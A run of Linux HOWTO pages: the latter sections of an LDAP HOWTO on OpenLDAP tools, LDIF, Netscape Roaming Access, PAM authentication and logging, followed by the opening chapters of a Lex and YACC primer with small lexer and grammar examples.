An optional argument that specifies which database to modify. The first database listed in the configuration file is 1, the second 2, etc. By default, the first ldbm database in the configuration file is used. Should not be used in conjunction with -b.

-b <suffix>

An optional argument that specifies which database to modify. The provided suffix is matched against a database suffix directive to determine the database number. Should not be used in conjunction with -n.

Sometimes it may be necessary to regenerate indices (such as after modifying slapd.conf(5)). This is possible using the slapindex(8) program. slapindex is invoked like this:

slapindex -f <slapdconfigfile> [-d <debuglevel>] [-n <databasenumber>|-b <suffix>]

Where the -f, -d, -n and -b options are the same as for the slapadd(1) program. slapindex rebuilds all indices based upon the current database contents.

There is another program called slapcat that is used to dump the database to an LDIF file. This can be useful when you want to make a human-readable backup of your database or when you want to edit your database off-line. The program is invoked like this:

slapcat -l <filename> -f <slapdconfigfile> [-d <debuglevel>] [-n <databasenumber>|-b <suffix>]

where -n or -b is used to select the database in the slapd.conf(5) specified using -f. The corresponding LDIF output is written to standard output or to the file specified using the -l option.

5.3 More on the LDIF format

The LDAP Data Interchange Format (LDIF) is used to represent LDAP entries in a simple text format. The basic form of an entry is:

#comment
dn: <distinguished name>
<attrdesc>: <attrvalue>
<attrdesc>: <attrvalue>
...

Lines starting with a '#' character are comments. An attribute description (attrdesc) may be a simple attribute type like cn or objectClass or 1.2.3 (an OID associated with an attribute type) or may include options such as cn;lang_en_US or userCertificate;binary.

A line may be continued by starting the next line with a single space or tab character. For example:

dn: cn=Barbara J Jensen, dc=example, dc=
 com
cn: Barbara J
    Jensen

is equivalent to:

dn: cn=Barbara J Jensen, dc=example, dc=com
cn: Barbara J Jensen

Multiple attribute values are specified on separate lines. e.g.,

cn: Barbara J Jensen
cn: Babs Jensen

If an <attrvalue> contains non-printing characters or begins with a space , a colon (':'), or a less than ('<'), the <attrdesc> is followed by a double colon and the base64 encoding of the value. For example, the value " begins with a space" would be encoded like this:

cn:: IGJlZ2lucyB3aXRoIGEgc3BhY2U=

You can also specify a URL containing the attribute value. For example, the following specifies the jpegPhoto value should be obtained from the file /path/to/file.jpeg.

cn:< file://path/to/file.jpeg
Multiple entries within the same LDIF file are separated by blank lines. Here's an example of an LDIF file containing three entries.
# Barbara's Entry
dn: cn=Barbara J Jensen, dc=example, dc=com
cn: Barbara J Jensen
cn: Babs Jensen
objectClass: person
sn: Jensen

# Bjorn's Entry
dn: cn=Bjorn J Jensen, dc=example, dc=com
cn: Bjorn J Jensen
cn: Bjorn Jensen
objectClass: person
sn: Jensen
# Base64 encoded JPEG photo
jpegPhoto:: /9j/4AAQSkZJRgABAAAAAQABAAD/2wBDABALD
A4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQ
ERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVG

# Jennifer's Entry
dn: cn=Jennifer J Jensen, dc=example, dc=com
cn: Jennifer J Jensen
cn: Jennifer Jensen
objectClass: person
sn: Jensen
# JPEG photo from file
jpegPhoto:< file://path/to/file.jpeg

Notice that the jpegPhoto in Bjorn's entry is base 64 encoded and the jpegPhoto in Jennifer's entry is obtained from the location indicated by the URL.

Trailing spaces are not trimmed from values in an LDIF file. Nor are multiple internal spaces compressed. If you don't want them in your data, don't put them there.

5.4 The ldapsearch, ldapdelete and ldapmodify utilities

ldapsearch - ldapsearch is a shell accessible interface to the ldap_search(3) library call. Use this utility to search for entries on our LDAP database backend.

The synopsis to call ldapsearch is the following (take a look at the ldapsearch man page to see what each option mean):

ldapsearch  [-n]  [-u]  [-v]  [-k]
[-K]  [-t]  [-A] [-B] [-L]
[-R] [-d debuglevel] [-F sep] [-f file]
[-D binddn]  [-W]  [-w bindpasswd]
[-h ldaphost]  [-p ldapport]   [-b searchbase]
[-s base|one|sub]
[-a never|always|search|find] [-l timelimit]
[-z sizelimit] filter [attrs...]

ldapsearch opens a connection to an LDAP server, binds, and performs a search using the filter filter. The filter should conform to the string representation for LDAP filters as defined in RFC 1558. If ldapsearch finds one or more entries, the attributes specified by attrs are retrieved and the entries and values are printed to standard output. If no attrs are listed, all attributes are returned.

Here are some examples of use of ldapsearch:

ldapsearch -b 'o=TUDelft,c=NL' 'objectclass=*'

ldapsearch -b 'o=TUDelft,c=NL' 'cn=Rene van Leuken'

ldasearch -u -b 'o=TUDelft,c=NL' 'cn=Luiz Malere' sn mail

The -b option stands for searchbase (initial search point) and the -u option stands for userfriendly output information.

ldapdelete - ldapdelete is a shell accessible interface to the ldap_delete(3) library call. Use this utility to delete entries on our LDAP database backend.

The synopsis to call ldapdelete is the following (take a look at the ldapdelete man page to see what each option mean):

ldapdelete   [-n]   [-v]  [-k]  [-K]
[-c]  [-d debuglevel]  [-f file]  [-D binddn]
[-W]  [-w passwd] [-h ldaphost] [-p ldapport]
[dn]...

ldapdelete opens a connection to an LDAP server, binds, and deletes one or more entries. If one or more dn arguments are provided, entries with those Distinguished Names are deleted. Each dn should be a string-represented DN as defined in RFC 1779. If no dn arguments are provided, a list of DNs is read from standard input (or from file if the -f flag is used).

Here are some examples of use of ldapdelete:

ldapdelete 'cn=Luiz Malere,o=TUDelft,c=NL'

ldapdelete -v 'cn=Rene van Leuken,o=TUDelft,c=NL' -D 'cn=Luiz Malere,o=TUDelft,
c=NL' -W

The -v option stands for verbose mode, the -D option stands for Binddn (the dn to authenticate against) and the -W option stands for password prompt.

ldapmodify - ldapmodify is a shell accessible interface to the ldap_modify(3) and ldap_add(3) library calls. Use this utility to modify entries on our LDAP database backend.

The synopsis to call ldapmodify is the following (take a look at the ldapmodify man page to see what each option mean):

ldapmodify   [-a]  [-b]  [-c]  [-r]
[-n]  [-v]  [-k]  [-d debuglevel]
[-D binddn]  [-W]  [-w passwd]
[-h ldaphost] [-p ldapport] [-f file]

ldapadd [-b] [-c] [-r] [-n]
[-v]  [-k]  [-K]  [-d debuglevel]
[-D binddn]  [-w passwd]  [-h ldaphost]
[-p ldapport] [-f file]

ldapadd is implemented as a hard link to the ldapmodify tool. When invoked as ldapadd the -a (add new entry) flag of ldapmodify is turned on automatically.

ldapmodify opens a connection to an LDAP server, binds, and modifies or adds entries. The entry information is read from standard input or from file through the use of the -f option.

Here are some examples of use of ldapmodify:

Assuming that the file /tmp/entrymods exists and has the contents:

dn: cn=Modify Me, o=University of Michigan, c=US
changetype: modify
replace: mail
mail: modme@terminator.rs.itd.umich.edu
-
add: title
title: Grand Poobah
-
add: jpegPhoto
jpegPhoto: /tmp/modme.jpeg
-
delete: description
-

The command:

ldapmodify -b -r -f /tmp/entrymods

will replace the contents of the "Modify Me" entry's mail attribute with the value "modme@terminator.rs.itd.umich.edu", add a title of "Grand Poobah", and the contents of the file /tmp/modme.jpeg as a jpegPhoto, and completely remove the description attribute.

The same modifications as above can be performed using the older ldapmodify input format:

cn=Modify Me, o=University of Michigan, c=US
mail=modme@terminator.rs.itd.umich.edu
+title=Grand Poobah
+jpegPhoto=/tmp/modme.jpeg
-description

And plus the command bellow:

ldapmodify -b -r -f /tmp/entrymods

Assuming that the file /tmp/newentry exists and has the contents:

dn: cn=Barbara Jensen, o=University of Michigan, c=US
objectClass: person
cn: Barbara Jensen
cn: Babs Jensen
sn: Jensen
title: the world's most famous manager
mail: bjensen@terminator.rs.itd.umich.edu
uid: bjensen

The command:

ldapadd -f /tmp/entrymods

will add the entry with dn: cn=Barbara Jensen, o=University of Michigan, c=US if it's not already present. If an entry with this dn already exists, the command will point out the error and will not overwrite the entry.

Assuming that the file /tmp/newentry exists and has the contents:

dn: cn=Barbara Jensen, o=University of Michigan, c=US
changetype: delete

The command:

ldapmodify -f /tmp/entrymods

will remove Babs Jensen's entry.

The -f option stands for file (read the modification information from a file instead of standard input), the -b option stands for binary (any values starting with a '/' on the input file are interpreted as binaries), the -r stands for replace (replace existing values by default).


LDAP Linux HOWTO: Additional Information and Features

 Next Previous Contents

6. Additional Information and Features

In this section you will find information about the Netscape Address Book, a LDAP client that can be used to query your Directory. Also presented are details on how to implement Roaming Access using the Netscape Navigator, version 4.5 or above and your LDAP server. The purpose of introducing these features here is more for giving people an idea about the capabilities of the LDAP protocol. To finish you will see some information about authentication using LDAP, LDAP migration tools, LDAP graphical tools, slapd logs and about safely killing the slapd process.

6.1 Roaming Access

The goal of Roaming Access is that wherever you are on the Net, you can retrieve your bookmarks, preferences, mail filters, etc. using Netscape Navigator and a LDAP server. This is a very nice feature. Imagine that wherever you access the Web, you can have your own settings on the browser. If you will travel and you need to access that currency site that is stored on your local bookmarks, don't worry. Upload the bookmarks and other configuration files to a LDAP server and you can retrieve them all later, independent of the place you will be.

To implement Roaming Access you have to follow these steps:

  • Include a new schema file on your slapd.conf configuration file
  • Set the modification field at the database section of your slapd.conf configuration file
  • Change you Ldif file adding profile entries for the users that want to use Roaming Access
  • Configure Netscape Navigator to use the LDAP server as a Roaming Access Server
  • Restart the LDAP server with the new settings.

- Including a new schema file: Copy and paste the section bellow and save it as a text file with a .schema extension. Usually you would save it in the directory /usr/local/etc/openldap/schema. If you prefer, the file can be downloaded from: http://home.kabelfoon.nl/~hvdkooij/mull.schema. Remember that your slapd.conf file should include the core.schema definitions file, using the line:

include /usr/local/etc/schema/core.schema

#       This schema requires that the core schema is loaded

# Used to store Netscape Roaming Profile information into OpenLDAP v2.
# This stores the actual profile name into the database.
attributeType ( 1.3.6.1.4.1.7081.1.1.1
         NAME 'nsLIProfileName'
         DESC 'Store Netscape Roaming Profile name'
         EQUALITY caseIgnoreMatch
         SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 )

# Used to store Netscape Roaming Profile information into OpenLDAP v2.
attributeType ( 1.3.6.1.4.1.7081.1.1.2
         NAME 'nsLIPrefs'
         DESC 'Store Netscape Roaming Profile preferences'
         EQUALITY caseExactIA5Match
         SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 )

# Used to store Netscape Roaming Profile information into OpenLDAP v2.
attributeType ( 1.3.6.1.4.1.7081.1.1.3
         NAME 'nsLIElementType'
         DESC ''
         EQUALITY caseIgnoreMatch
         SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 )

# Used to store Netscape Roaming Profile information into OpenLDAP v2.
attributeType ( 1.3.6.1.4.1.7081.1.1.4
         NAME 'nsLIData'
         DESC 'Store the actual data blocks'
         EQUALITY bitStringMatch
         SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 )

# Used to store Netscape Roaming Profile information into OpenLDAP v2.
attributeType ( 1.3.6.1.4.1.7081.1.1.5
         NAME 'nsLIVersion'
         DESC 'Store Netscape Roaming Profile version'
         EQUALITY integerMatch
         SYNTAX 1.3.6.1.4.1.1466.115.121.1.27 )

# Used to store Netscape Roaming Profile information into OpenLDAP v2.
# This is the base holder of the Roaming Profile and must be created before
# you try to store information into the LDAP database.
objectClass ( 1.3.6.1.4.1.7081.1.2.1
         NAME 'nsLIProfile'
         DESC 'Base holder of the NetScape Roaming Profile'
         SUP top
         MUST ( objectClass $ nsLIProfileName )
         MAY ( nsLIPrefs $ uid $ owner )
         )

# Used to store Netscape Roaming Profile information into OpenLDAP v2.
# This object class will store the actual data.
objectClass ( 1.3.6.1.4.1.7081.1.2.2
         NAME 'nsLIProfileElement'
         DESC 'Contains the actual Roaming Profile data'
         SUP top
         MUST ( objectClass $ nsLIElementType )
         MAY ( owner $ nsLIData $ nsLIVersion )
         )

# EOF

- Setting the modification field: To make sure Netscape can compare your local copy of the profile data against the LDAP server, you need to set modification times in the database. A simple line added in the database section of your slapd.conf file will be sufficient. Just add:

lastmod on

- Changing your Ldif file: Each user that wish to try the Roaming Access feature of Netscape needs a profile entry on the Ldif file. Look an example of a simple LDIF file with profiles entries:

dn: o=myOrg,c=NL
o: myOrg
objectclass: organization

dn: cn=seallers,ou=People,o=myOrg,c=NL
cn: seallers
userpassword: myPassword
objectclass: top
objectclass: person

dn: nsLIProfileName=seallers,ou=Roaming,o=myOrg,c=NL
nsLIProfileName: seallers
owner: cn=seallers,ou=People,o=myOrg,c=NL
objectclass: top
objectclass: nsLIProfile

This entries can be added using the ldapadd program. Probably in your case you will only need to add the entry correspondent to the roaming profile (dn: nsLIProfileName=...).

- Configuring Netscape Navigator: The next step is to configure Netscape to enable the Roaming Access against your LDAP server. Just follow the sequence:

Go to Menu Edit => Preferences => Roaming User

Now you have to first enable Roaming Access for this profile, clicking on the checkbox corresponding to this option.

Fill the username box with an appropriate value, this must be identical with the nsLIProfileName= part from the User profile entry of the LDIF file. Example: seallers

Pull down the arrow of the Roaming User option on the left side of the Preferences Window to see the suboptions of Roaming Access.

Click on Server Information, enable the option LDAP Server and fill the boxes with the following information:

Address: ldap://myHost/nsLIProfileName=$USERID,ou=Roaming,o=myOrg,c=NL

User DN: cn=$USERID,ou=People,o=myOrg,c=NL

IMPORTANT: Netscape automatically substitutes the $USERID variable for the name of the profile you selected before running the browser. So if you selected the profile seallers, it will substitute $USERID for seallers, if you selected profile gonzales, it will substitute $USERID for gonzales. If you are not familiar with profiles, run the Profile Manager application that comes on the Netscape Comunicator suite. It's an application designed to satisfy the multiple users of a browser on the same machine, so each one can have their own settings on the browser.

The final step is to restart the server. Take a look on the section 4.2 to see how you do that safely and on section 4 to see how to start it again.

6.2 Netscape Address Book

Once you have your LDAP server up and running, you can access it with many different clients (e.g. ldapsearch command line utility). A very interesting one is the Netscape Address Book. It's available from version 4.x of Netscape but you have to use the 4.5 or above version for a stable interoperation with your LDAP server.

Just follow the sequence:

Open Netscape Navigator -> Go to Communicator Menu -> Address Book

The Netscape Address Book will be launched with some default LDAP directories. You have to add your own LDAP directory too!

Go to File Menu -> New Directory

Fill the boxes with your server information. For example:

- Description: TUDelft

- LDAP Server: dutedin.et.tudelft.nl

- Server Root: o=TUDelft, c=NL

The default LDAP port is 389. Don't change it, unless you changed this option while building your server.

Now, make simple queries to your server, using the box Show Names Containing, or advanced queries, using the Search for button.

6.3 LDAP Migration Tools

The LDAP Migration Tools are a collection of Perl scripts provided by PADL Software Ltd. They are used to convert configuration files to the LDIF format. I recommend reading the license terms before using them, even being free. If you plan to use your LDAP server to authenticate users, this tools may be very useful. Use the Migration Tools to convert your NIS or password archives to the LDIF format, making these files compatible with your LDAP Server. Apply also these Perl Scripts to migrate users, groups, aliases, hosts, netgroups, networks, protocols, RPCs and services from existing nameservices (NIS, flat files and NetInfo) to the LDIF format.

To download the LDAP Migration Tools and get more information, go to the following address:

http://www.padl.com/tools.html

The package comes with a README file and the name of the script files are intuitive. Take a first look on the README file and then start applying the scripts.

6.4 Authentication using LDAP

To access the LDAP service, the LDAP client first must authenticate itself to the service. That is, it must tell the LDAP server who is going to be accessing the data so that the server can decide what the client is allowed to see and do. If the client authenticates successfully to the LDAP server, then when the server subsequently receives a request from the client, it will check whether the client is allowed to perform the request. This process is called access control.

In LDAP, authentication is supplied in the "bind" operation. Ldapv3 supports three types of authentication: anonymous, simple and SASL authentication. A client that sends a LDAP request without doing a "bind" is treated as an anonymous client. Simple authentication consists of sending the LDAP server the fully qualified DN of the client (user) and the client's clear-text password. This mechanism has security problems because the password can be read from the network. To avoid exposing the password in this way, you can use the simple authentication mechanism within an encrypted channel (such as SSL), provided that this is supported by the LDAP server.

Finally, SASL is the Simple Authentication and Security Layer (RFC 2222). It specifies a challenge-response protocol in which data is exchanged between the client and the server for the purposes of authentication and establishment of a security layer on which to carry out subsequent communication. By using SASL, LDAP can support any type of authentication agreed upon by the LDAP client and server. SASL use will be presented on the next version of this Howto as the installation of the Cyrus SASL library is not yet trivial.

Further on authenticating users to access information from your Directory Tree, your LDAP server can authenticate users from other services too (Sendmail, Login, Ftp, etc.). This is accomplished migrating specific user information to your LDAP server and using a mechanism called PAM (Pluggable Authentication Module).

Since the beginnings of UNIX, authenticating a user has been accomplished via the user entering a password and the system checking if the entered password corresponds to the encrypted official password that is stored in /etc/passwd. That was in the beginning. Since then, a number of new ways for authenticating users became popular, including more complicated replacements for the /etc/passwd file and hardware devices called Smart cards. The problem is that each time a new authentication schema is developed, it requires all the necessary programs (login, ftpd etc...) to be rewritten to support it. PAM provides a way to develop programs that are independent of authentication scheme. These programs need "authentication modules" to be attatched to them at run-time in order to work.

The authentication module for LDAP is available as a tar ball on the following address:

http://www.padl.com/pam_ldap.html

Here I assume that your Linux distribution is already PAM prepared. If not take a look at this URL: http://www.kernel.org/pub/linux/libs/pam. Various Linux distributions use different standard settings related to PAM. Usually, the PAM configuration files reside on the /etc/pam.d/ directory. There you can find a file for each service running on your box. As an example, if you want to use the LDAP server for logging users in after your Linux boot up, you should make your Linux PAM compatible (as described in the beginning of this paragraph), install the LDAP PAM module and edit a file called login in the PAM configuration directory (/etc/pam.d/) with the following content:

#%PAM-1.0
auth       required     /lib/security/pam_securetty.so
auth       required     /lib/security/pam_nologin.so
auth       sufficient   /lib/security/pam_ldap.so
auth       required     /lib/security/pam_unix_auth.so try_first_pass
account    sufficient   /lib/security/pam_ldap.so
account    required     /lib/security/pam_unix_acct.so
password   required     /lib/security/pam_cracklib.so
password   required     /lib/security/pam_ldap.so
password   required     /lib/security/pam_pwdb.so use_first_pass
session    required     /lib/security/pam_unix_session.so

6.5 Graphical LDAP tools

  • Kldap

Kldap is a graphical LDAP client written for KDE. Kldap has a nice interface and is able to show all the information tree stored on your Directory. You can check some screenshots from the application and download it at:

http://www.mountpoint.ch/oliver/kldap

  • GQ

GQ is another graphical LDAP client with a simpler interface. It was written for GNOME. It also runs under KDE, the same way Kldap runs under GNOME. The address for downloading and getting more information is:

http://biot.com/gq/

6.6 Logs

Slapd uses the syslog(8) facility to generate logs. The default user of the syslog(8) facility is LOCAL4, but values from LOCAL0, LOCAL1, up to LOCAL7 are allowed.

In order to enable the generation of logs you have to edit your syslog.conf file, usually located in the /etc directory.

Create a line like this:

local4.* /usr/adm/ldalog

This will use the default user LOCAL4 for the syslog facility. If you are not familiar with the sintax of this line, take a look at the man pages of syslog, syslog.conf and syslogd. If you want to change the default user or to specify the level of the logs generated, you have the following options while starting slapd:

-s syslog-level This option tells slapd at what level debugging statements should be logged to the syslog(8) facility. The level describes the severity of the message, and is a keyword from the following ordered list (higher to lower): emerg, alert, crit, err, warning, notice, info, and debug. Ex: slapd -f myslapd.conf -s debug

-l syslog-local-user Selects the local user of the syslog(8) facility. Values can be LOCAL0, LOCAL1, and so on, up to LOCAL7. The default is LOCAL4. However, this option is only permitted on systems that support local users with the syslog(8) facility.

Now take a look at the logs generated. They can help you tremendously in solving problems with queries, updates, binding, etc.


LDAP Linux HOWTO: References

 Next Previous Contents

7. References

On this section you will find additional documentation about LDAP: useful URLs, cool books and definition RFCs.

7.1 URLs

Here are the URLs that contain very useful information about LDAP. From these URLs, this HOWTO was made, so if after reading this document you need more specific information, you probably will find here:

  • University of Michigan LDAP Page:

    http://www.umich.edu/~dirsvcs/ldap/index.html

  • University of Michigan LDAP Documentation Page:

    http://www.umich.edu/~dirsvcs/ldap/doc/

  • OpenLDAP Administrator's Guide:

    http://www.openldap.org/doc/admin

  • Manually Implementing Roaming Access:

    http://help.netscape.com/products/client/communicator/manual_roaming2.html

  • Customizing LDAP Settings for Communicator 4.5:

    http://developer.netscape.com/docs/manuals/communicator/ldap45.htm

  • Introducing to Directory Service (X.500):

    http://www.nic.surfnet.nl/surfnet/projects/x500/introducing/

  • Linux Directory Service:

    http://www.rage.net/ldap/

7.2 Books

These are the most popular and useful books about LDAP:

  • Implementing LDAP by Mark Wilcox
  • LDAP: Programming Directory-Enabled Applications with Lightweight Directory Access Protocol by Howes and Smith
  • Understanding and Deploying LDAP Directory Servers by Howes, Smith, and Good

7.3 RFCs

The RFCs that support the LDAP development efforts:

  • RFC 1558: A String Representation of LDAP Search Filters
  • RFC 1777: Lightweight Directory Access Protocol
  • RFC 1778: The String Representation of Standard Attribute Syntaxes
  • RFC 1779: A String Representation of Distinguished Names
  • RFC 1781: Using the OSI Directory to Achieve User Friendly Naming
  • RFC 1798: Connectionless LDAP
  • RFC 1823: The LDAP Application Programming Interface
  • RFC 1959: An LDAP URL Format
  • RFC 1960: A String Representation of LDAP Search Filters
  • RFC 2251: Lightweight Directory Access Protocol (v3)
  • RFC 2307: LDAP as a Network Information Service


Lex and YACC primer/HOWTO

PowerDNS BV (bert hubert <bert@powerdns.com>)

v0.8 $Date: 2001/05/20 19:35:59 $

This document tries to help you get started using Lex and YACC

1. Introduction

  • 1.1 What this document is NOT
  • 1.2 Downloading stuff
  • 1.3 License

2. What Lex & YACC can do for you

  • 2.1 What each program does on its own

3. Lex

  • 3.1 Regular expressions in matches
  • 3.2 A more complicated example for a C like syntax
  • 3.3 What we've seen

4. YACC

  • 4.1 A simple thermostat controller
  • 4.2 Expanding the thermostat to handle parameters
  • 4.3 Parsing a configuration file

5. Making a Parser in C++

6. How do Lex and YACC work internally

  • 6.1 Token values
  • 6.2 Recursion: 'right is wrong'
  • 6.3 Advanced yylval: %union

7. Debugging

  • 7.1 The state machine
  • 7.2 Conflicts: 'shift/reduce', 'reduce/reduce'

8. Further reading

9. Acknowledgements & Thanks


Lex and YACC primer/HOWTO: Introduction

 Next Previous Contents

1. Introduction

Welcome, gentle reader.

If you have been programming for any length of time in a Unix environment, you will have encountered the mystical programs Lex & YACC, or as they are known to GNU/Linux users worldwide, Flex & Bison, where Flex is a Lex implementation by Vern Paxon and Bison the GNU version of YACC. We will call these programs Lex and YACC throughout - the newer versions are upwardly compatible, so you can use Flex and Bison when trying our examples.

These programs are massively useful, but as with your C compiler, their manpage does not explain the language they understand, nor how to use them. YACC is really amazing when used in combination with Lex, however, the Bison manpage does not describe how to integrate Lex generated code with your Bison program.

1.1 What this document is NOT

There are several great books which deal with Lex & YACC. By all means read these books if you need to know more. They provide far more information than we ever will. See the 'Further Reading' section at the end. This document is aimed at bootstrapping your use of Lex & YACC, to allow you to create your first programs.

The documentation that comes with Flex and BISON is also excellent, but no tutorial. They do complement my HOWTO very well though. They too are referenced at the end.

I am by no means a YACC/Lex expert. When I started writing this document, I had exactly two days of experience. All I want to accomplish is to make those two days easier for you.

In no way expect the HOWTO to show proper YACC and Lex style. Examples have been kept very simple and there may be better ways to write them. If you know how to, please let me know.

1.2 Downloading stuff

Please note that you can download all the examples shown, which are in machine readable form. See the homepage for details.

1.3 License

Copyright (c) 2001 by bert hubert. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, vX.Y or later (the latest version is presently available at http://www.opencontent.org/openpub/).


Lex and YACC primer/HOWTO: What Lex & YACC can do for you

 Next Previous Contents

2. What Lex & YACC can do for you

When properly used, these programs allow you to parse complex languages with ease. This is a great boon when you want to read a configuration file, or want to write a compiler for any language you (or anyone else) might have invented.

With a little help, which this document will hopefully provide, you will find that you will never write a parser again by hand - Lex & YACC are the tools to do this.

2.1 What each program does on its own

Although these programs shine when used together, they each serve a different purpose. The next chapter will explain what each part does.


Lex and YACC primer/HOWTO: Lex

 Next Previous Contents

3. Lex

The program Lex generates a so called `Lexer'. This is a function that takes a stream of characters as its input, and whenever it sees a group of characters that match a key, takes a certain action. A very simple example:

%{
#include <stdio.h>
%}

%%
stop    printf("Stop command received\n");
start   printf("Start command received\n");
%%

The first section, in between the %{ and %} pair is included directly in the output program. We need this, because we use printf later on, which is defined in stdio.h.

Sections are separated using '%%', so the first line of the second section starts with the 'stop' key. Whenever the 'stop' key is encountered in the input, the rest of the line (a printf() call) is executed.

Besides 'stop', we've also defined 'start', which otherwise does mostly the same.

We terminate the code section with '%%' again.

To compile Example 1, do this:

lex example1.l
cc lex.yy.c -o example1 -ll

NOTE: If you are using flex, instead of lex, you may have to change '-ll' to '-lfl' in the compilation scripts. RedHat 6.x and SuSE need this, even when you invoke 'flex' as 'lex'!

This will generate the file 'example1'. If you run it, it waits for you to type some input. Whenever you type something that is not matched by any of the defined keys (ie, 'stop' and 'start') it's output again. If you enter 'stop' it will output 'Stop command received';

Terminate with a EOF (^D).

You may wonder how the program runs, as we didn't define a main() function. This function is defined for you in libl (liblex) which we compiled in with the -ll command.

3.1 Regular expressions in matches

This example wasn't very useful in itself, and our next one won't be either. It will however show how to use regular expressions in Lex, which are massively useful later on.

Example 2:

%{
#include <stdio.h>
%}

%%
[0123456789]+           printf("NUMBER\n");
[a-zA-Z][a-zA-Z0-9]*    printf("WORD\n");
%%

This Lex file describes two kinds of matches (tokens): WORDs and NUMBERs. Regular expressions can be pretty daunting but with only a little work it is easy to understand them. Let's examine the NUMBER match:

[0123456789]+

This says: a sequence of one or more characters from the group 0123456789. We could also have written it shorter as:

[0-9]+

Now, the WORD match is somewhat more involved:

[a-zA-Z][a-zA-Z0-9]*

The first part matches 1 and only 1 character that is between 'a' and 'z', or between 'A' and 'Z'. In other words, a letter. This initial letter then needs to be followed by zero or more characters which are either a letter or a digit. Why use an asterisk here? The '+' signifies 1 or more matches, but a WORD might very well consist of only one character, which we've already matched. So the second part may have zero matches, so we write a '*'.

This way, we've mimicked the behaviour of many programming languages which demand that a variable name *must* start with a letter, but can contain digits afterwards. In other words, 'temperature1' is a valid name, but '1temperature' is not.

Try compiling Example 2, lust like Example 1, and feed it some text. Here is a sample session:

$ ./example2
foo
WORD

bar
WORD

123
NUMBER

bar123
WORD

123bar
NUMBER
WORD

You may also be wondering where all this whitespace is coming from in the output. The reason is simple: it was in the input, and we don't match on it anywhere, so it gets output again.

The Flex manpage documents its regular expressions in detail. Many people feel that the perl regular expression manpage (perlre) is also very useful, although Flex does not implement everything perl does.

Make sure that you do not create zero length matches like '[0-9]*' - your lexer might get confused and start matching empty strings repeatedly.

3.2 A more complicated example for a C like syntax

Let's say we want to parse a file that looks like this:

logging {
        category lame-servers { null; };
        category cname { null; };
};

zone "." {
        type hint;
        file "/etc/bind/db.root";
};

We clearly see a number of categories (tokens) in this file:

  • WORDs, like 'zone' and 'type'
  • FILENAMEs, like '/etc/bind/db.root'
  • QUOTEs, like those surrounding the filename
  • OBRACEs, {
  • EBRACEs, }
  • SEMICOLONs, ;

The corresponding Lex file is Example 3:

%{
#include <stdio.h>
%}

%%
[a-zA-Z][a-zA-Z0-9]*    printf("WORD ");
[a-zA-Z0-9\/.-]+        printf("FILENAME ");
\"                      printf("QUOTE ");
\{                      printf("OBRACE ");
\}                      printf("EBRACE ");
;                       printf("SEMICOLON ");
\n                      printf("\n");
[ \t]+                  /* ignore whitespace */;
%%

When we feed our file to the program this Lex file generates (using example3.compile), we get:

WORD OBRACE
WORD FILENAME OBRACE WORD SEMICOLON EBRACE SEMICOLON
WORD WORD OBRACE WORD SEMICOLON EBRACE SEMICOLON
EBRACE SEMICOLON

WORD QUOTE FILENAME QUOTE OBRACE
WORD WORD SEMICOLON
WORD QUOTE FILENAME QUOTE SEMICOLON
EBRACE SEMICOLON

When compared with the configuration file mentioned above, it is clear that we have neatly 'Tokenized' it. Each part of the configuration file has been matched, and converted into a token.

And this is exactly what we need to put YACC to good use.

3.3 What we've seen

We've seen that Lex is able to read arbitrary input, and determine what each part of the input is. This is called 'Tokenizing'.


Lex and YACC primer/HOWTO: YACC

 Next Previous Contents

4. YACC

YACC can parse input streams consisting of tokens with certain values. This clearly describes the relation YACC has with Lex, YACC has no idea what 'input streams' are, it needs preprocessed tokens. While you can write your own Tokenizer, we will leave that entirely up to Lex.

A note on grammars and parsers. When YACC saw the light of day, the tool was used to parse input files for compilers: programs. Programs written in a programming language for computers are typically *not* ambiguous - they have just one meaning. As such, YACC does not cope with ambiguity and will complain about shift/reduce or reduce/reduce conflicts. More about ambiguity and YACC "problems" can be found in 'Conflicts' chapter.

4.1 A simple thermostat controller

Let's say we have a thermostat that we want to control using a simple language. A session with the thermostat may look like this:

heat on
        Heater on!
heat off
        Heater off!
target temperature 22
        New temperature set!

The tokens we need to recognize are: heat, on/off (STATE), target, temperature, NUMBER.

The Lex tokenizer (Example 4) is:

%{
#include <stdio.h>
#include "y.tab.h"
%}
%%
[0-9]+                  return NUMBER;
heat                    return TOKHEAT;
on|off                  return STATE;
target                  return TOKTARGET;
temperature             return TOKTEMPERATURE;
\n                      /* ignore end of line */;
[ \t]+                  /* ignore whitespace */;
%%

We note two important changes. First, we include the file 'y.tab.h', and secondly, we no longer print stuff, we return names of tokens. This change is because we are now feeding it all to YACC, which isn't interested in what we output to the screen. Y.tab.h has definitions for these tokens.

But where does y.tab.h come from? It is generated by YACC from the Grammar File we are about to create. As our language is very basic, so is the grammar:

commands: /* empty */
        | commands command
        ;

command:
        heat_switch
        |
        target_set
        ;

heat_switch:
        TOKHEAT STATE
        {
                printf("\tHeat turned on or off\n");
        }
        ;

target_set:
        TOKTARGET TOKTEMPERATURE NUMBER
        {
                printf("\tTemperature set\n");
        }
        ;

The first part is what I call the 'root'. It tells us that we have 'commands', and that these commands consist of individual 'command' parts. As you can see this rule is very recursive, because it again contains the word 'commands'. What this means is that the program is now capable of reducing a series of commands one by one. Read the chapter 'How do Lex and YACC work internally' for important details on recursion.

The second rule defines what a command is. We support only two kinds of commands, the 'heat_switch' and the 'target_set'. This is what the |-symbol signifies - 'a command consists of either a heat_switch or a target_set'.

A heat_switch consists of the HEAT token, which is simply the word 'heat', followed by a state (which we defined in the Lex file as 'on' or 'off').

Somewhat more complicated is the target_set, which consists of the TARGET token (the word 'target'), the TEMPERATURE token (the word 'temperature') and a number.

A complete YACC file

The previous section only showed the grammar part of the YACC file, but there is more. This is the header that we omitted:

%{
#include <stdio.h>
#include <string.h>

void yyerror(const char *str)
{
        fprintf(stderr,"error: %s\n",str);
}

int yywrap()
{
        return 1;
}

main()
{
        yyparse();
}

%}

%token NUMBER TOKHEAT STATE TOKTARGET TOKTEMPERATURE
The yyerror() function is called by YACC if it finds an error. We simply output the message passed, but there are smarter things to do. See the 'Further reading' section at the end.

The function yywrap() can be used to continue reading from another file. It is called at EOF and you can than open another file, and return 0. Or you can return 1, indicating that this is truly the end. For more about this, see the 'How do Lex and YACC work internally' chapter.

